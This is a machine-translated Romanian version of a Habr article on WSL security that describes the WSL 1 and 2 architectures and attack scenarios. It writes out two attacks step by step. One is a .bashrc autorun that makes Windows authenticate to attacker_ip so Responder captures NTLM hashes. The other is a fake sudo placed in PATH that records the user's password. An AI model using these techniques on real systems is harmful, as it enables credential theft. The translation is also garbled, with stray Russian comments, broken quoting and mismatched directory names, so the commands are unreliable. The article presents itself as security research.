Experimente WSL. Partea 1

Bună, habr! OTUS lansează un nou flux de cursuri în octombrie „Securitate Linux”. În așteptarea începerii cursului, vă împărtășim un articol scris de unul dintre profesorii noștri, Alexander Kolesnikov.

Experimente WSL. Partea 1

În 2016, Microsoft a introdus comunitatea IT noua tehnologie WSL (Winterior Ssubsistem pentru Linux), care în viitor a făcut posibilă unirea concurenților anterior ireconciliabili care luptau pentru popularitate atât în ​​rândul utilizatorilor obișnuiți, cât și în rândul utilizatorilor de sisteme de operare avansate: Windows și Linux. Această tehnologie a făcut posibilă utilizarea instrumentelor Linux OS într-un mediu Windows fără a fi nevoie să rulați Linux, de exemplu, folosind Multi-boot. Pe Habr puteți găsi un număr mare de articole care descriu beneficiile utilizării WSL. Cu toate acestea, din păcate, la momentul creării acestui articol, nu au fost găsite studii privind securitatea unei astfel de simbioze de sisteme de operare pe această resursă. Această postare va fi o încercare de a corecta acest lucru. Articolul va vorbi despre caracteristicile arhitecturilor WSL 1 și 2 și va examina mai multe exemple de atacuri asupra sistemelor care folosesc aceste tehnologii. Articolul este împărțit în 2 părți. Prima va oferi principalele metode teoretice de atac din Linux și Windows. Al doilea articol va implica crearea unui mediu de testare și reproducerea atacurilor.

WSL 1: caracteristici arhitecturale

Pentru cea mai precisă scufundare în problemele de securitate WSL, este necesar să se determine principalele nuanțe asociate cu implementarea subsistemului. Una dintre principalele sarcini ale utilizatorului rezolvate de WSL este capacitatea de a lucra printr-un terminal Linux pe o gazdă care rulează sistemul de operare Windows. De asemenea, compatibilitatea oferită era atât de nativă încât executabilele Linux (ELF) puteau fi rulate direct pe un sistem Windows. Pentru a atinge aceste obiective, în Windows 10 a fost creat un subsistem special care vă permite să rulați aplicații Linux folosind un set de apeluri de sistem specifice - astfel, s-a încercat să mapați un set de apeluri de sistem Linux pe Windows. Acest lucru a fost implementat fizic prin adăugarea de noi drivere și un nou format de proces. Vizual, arhitectura arăta astfel:

Experimente WSL. Partea 1

De fapt, interacțiunea cu sistemul de operare Linux a fost organizată prin mai multe module de kernel și un tip special de proces - pico. Din diagrama de mai sus, puteți vedea că procesul care rulează pe instanța Linux pe gazdă trebuie să fie nativ și trebuie să folosească aceleași resurse ca aplicațiile Windows obișnuite. Dar cum să realizezi acest lucru? În proiect Pod mobil Au fost dezvoltate concepte de proces pentru Windows care au furnizat toate componentele necesare ale sistemului de operare (în funcție de versiunea acestuia) pentru a rula o aplicație a unui alt sistem de operare.

Rețineți că abstracția propusă a făcut posibil să nu se concentreze asupra sistemului de operare (în special, Windows), în care este de așteptat să se lanseze procesul unui alt sistem de operare și a sugerat o abordare generală.

Astfel, orice aplicație din cadrul procesului pico ar putea rula fără a ține cont de kernel-ul Windows:

  1. Problemele de compatibilitate și traducere a apelurilor de sistem trebuie rezolvate de furnizori speciali;
  2. Controlul accesului trebuie efectuat prin intermediul Monitorului de securitate. Monitorul se află în kernel și, prin urmare, Windows avea nevoie de un upgrade sub forma unui nou driver care ar putea acționa ca furnizor pentru astfel de procese. Procesul pico-prototip este prezentat schematic mai jos:

Experimente WSL. Partea 1

Deoarece sistemul de fișiere Linux utilizează nume de fișiere și directoare care țin cont de majuscule și minuscule, 2 tipuri de sisteme de fișiere au fost adăugate în Windows pentru a funcționa cu WSL - VolFS și DriveFS. VolFS este o implementare a sistemului de fișiere Linux, DriveFS este un sistem de fișiere care funcționează conform regulilor Windows, dar are capacitatea de a selecta diferența de majuscule și minuscule.

WSL 2

WSL 1 avea o serie de limitări care nu permiteau să fie folosit pentru a rezolva o gamă maximă de sarcini: de exemplu, nu avea capacitatea de a rula aplicații Linux pe 32 de biți și era imposibil să se utilizeze drivere de dispozitiv. Prin urmare, în 2020, a fost lansat WSL 2, care a schimbat abordarea construirii subsistemului. WSL 2 este o mașină virtuală optimizată care se potrivește cu caracteristicile de consum de resurse ale WSL 1. Acum, în funcție de problemele rezolvate de utilizatorul sistemului de operare Windows, puteți selecta versiunea necesară a subsistemului Linux. Pentru a atenua posibilele vulnerabilități, WSL 2 a fost implementat pe baza Hyper-V în Windows 10. În această formă, Windows are capacitatea de a rula nucleul sistemului de operare Linux în mod izolat. Merită să ne amintim că versiunea 1 a WSL a fost introdusă ca o caracteristică beta care trebuia să arate direcția dezvoltării Windows în acest domeniu, așa că trecerea la Hyper-V a fost inevitabilă. Arhitectura finală arată astfel:

Experimente WSL. Partea 1

În această versiune, nucleele Windows și Linux au propriile resurse și intersecția există doar în sistemul de fișiere, dar această intersecție nu este completă. Interacțiunea între sistemele de fișiere se realizează printr-un wrapper client-server care funcționează folosind protocolul 9P.

Astăzi, Microsoft oferă posibilitatea de a comuta între WSL 1 și WSL 2. Ambele versiuni sunt disponibile pentru utilizare.

Securitate WSL

În prezent, există mai multe lucrări care descriu unele abordări ale utilizării instrumentelor legitime ale sistemului de operare pentru a ataca comunicarea dintre subsisteme. Vom folosi scripturile lor pentru a verifica relevanța atacurilor la momentul scrierii. Lista generală de atacuri și scenarii:

1. Implementarea sistemului de fișiere: drepturi de acces, disponibilitatea directoarelor partajate/mecanismelor de schimb de date.

Au fost efectuate cercetări pentru a determina încălcările regulilor de acces de la Linux FS->Windows FS, Windows FS->Linux FS. Cercetările au demonstrat capacitatea de a modifica un anumit fișier în cadrul sistemului de operare țintă. S-au încercat, de asemenea, înlocuirea, crearea de duplicate și ștergerea unei părți a sistemelor de fișiere.

Scenariu:

  • A. Atacul din sistemul de operare Windows - modificarea fișierelor din directorul /etc al sistemului de operare Linux.
  • B. Atacul din sistemul de operare Linux - modificarea fișierelor din directoare: C:Windows, C:Program Files, C:Users<User>

2. Implementarea stivei de rețea.

Cercetarea a fost efectuată folosind exemple de atacuri din sistemul de operare Linux pe Windows. Au fost utilizate caracteristicile stivei de rețea și anume mecanisme de autentificare pe diverse resurse.

Scenariu:

  • Deschiderea accesului la un port care este ocupat pe un sistem Windows
  • Deschiderea unui port fără drepturile corespunzătoare
  • Rularea reverse shell folosind fișierul elf pe sistemul de operare Windows.

3. Ascunderea lansării proceselor software rău intenționate folosind subsistemul WSL.

Cercetarea s-a bazat pe un simplu fapt - subsistemele de securitate nu pot intercepta evenimente dintr-un alt nucleu care funcționează folosind un furnizor legitim din sistemul de operare în cazul WSL 1. În cazul WSL 2, nu există nicio modalitate de a vizualiza evenimentele care apar într-un nucleu separat în cadrul unei mașini virtuale ușoare.

Scenariu:

1) Lansați aplicația de acces de la distanță la sistem și vizualizați evenimentele înregistrate.

Experimente WSL 1: interceptare hash (Windows)

În sfârșit am ajuns la partea practică. În primul rând, trebuie să configurați mediul de testare. Toate experimentele vor fi efectuate pe o bancă cu Windows 10 2004 instalat. Imaginea Ubuntu 18.04 a fost aleasă ca imagine a sistemului de operare pentru WSL. Imaginea a fost aleasă la întâmplare și orice alta va funcționa la fel. Comenzi pentru amenajarea unui stand:

Mai întâi trebuie să lansați powershell.exe ca administrator.

Pentru WSL 1 trebuie să rulați comenzile:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • După repornirea standului, puteți apela comanda bash. Dacă totul a funcționat corect, veți vedea rezultate similare cu aceasta în consola Windows:

    Experimente WSL. Partea 1

    Vom folosi distribuția Kali Linux ca mașină a atacatorului; toate mașinile trebuie să fie în aceeași rețea locală.

    Să presupunem că avem acces neprivilegiat la WSL pe o mașină Windows. Să încercăm să atacăm sistemul de operare Linux apelând o comandă din Linux. Pentru a implementa atacul, vom folosi o tehnică simplă de rulare automată - vom adăuga scriptul nostru pentru execuție în mediul Linux. Pentru a face acest lucru, trebuie să schimbați fișierul .bashrc.

    Pe o mașină cu WSL executăm:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Pe o mașină Kali Linux rulăm:

    1. Responder -I eth0 -rdvw

    Pe o mașină Windows, să lansăm bash.

    Așteptăm rezultatul pe mașina Kali Linux:

    Experimente WSL. Partea 1

    Astfel, am obținut hash-urile utilizatorului Windows prin subsistemul WSL executând comanda pe sistemul Linux.

    Experimente WSL 1: obținerea parolei utilizator (OS Linux)

    Să mai facem un experiment. În timpul acestei verificări vom adăuga la fișier .bashrc mai multe comenzi pentru a obține parola de utilizator al sistemului de operare Linux.

    Să lansăm bash și să introducem comenzile:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Pentru a finaliza cu succes atacul, utilizatorul Sam trebuie să apeleze sudo în terminalul Linux. După aceasta, parola de utilizator Linux OS va fi în fișier pass.txt:

    Experimente WSL. Partea 1

    Punerea în aplicare a atacurilor a fost dată doar pentru informare teoretică.

    Următoarea parte a articolului va descrie implementarea protocolului 9P, va lua în considerare crearea unui scaner pentru acest protocol și, de asemenea, va efectua un atac folosindu-l.

    Lista literaturii folosite

    Experimente WSL. Partea 1

    Citeşte mai mult

    Sursa: www.habr.com

    Adauga un comentariu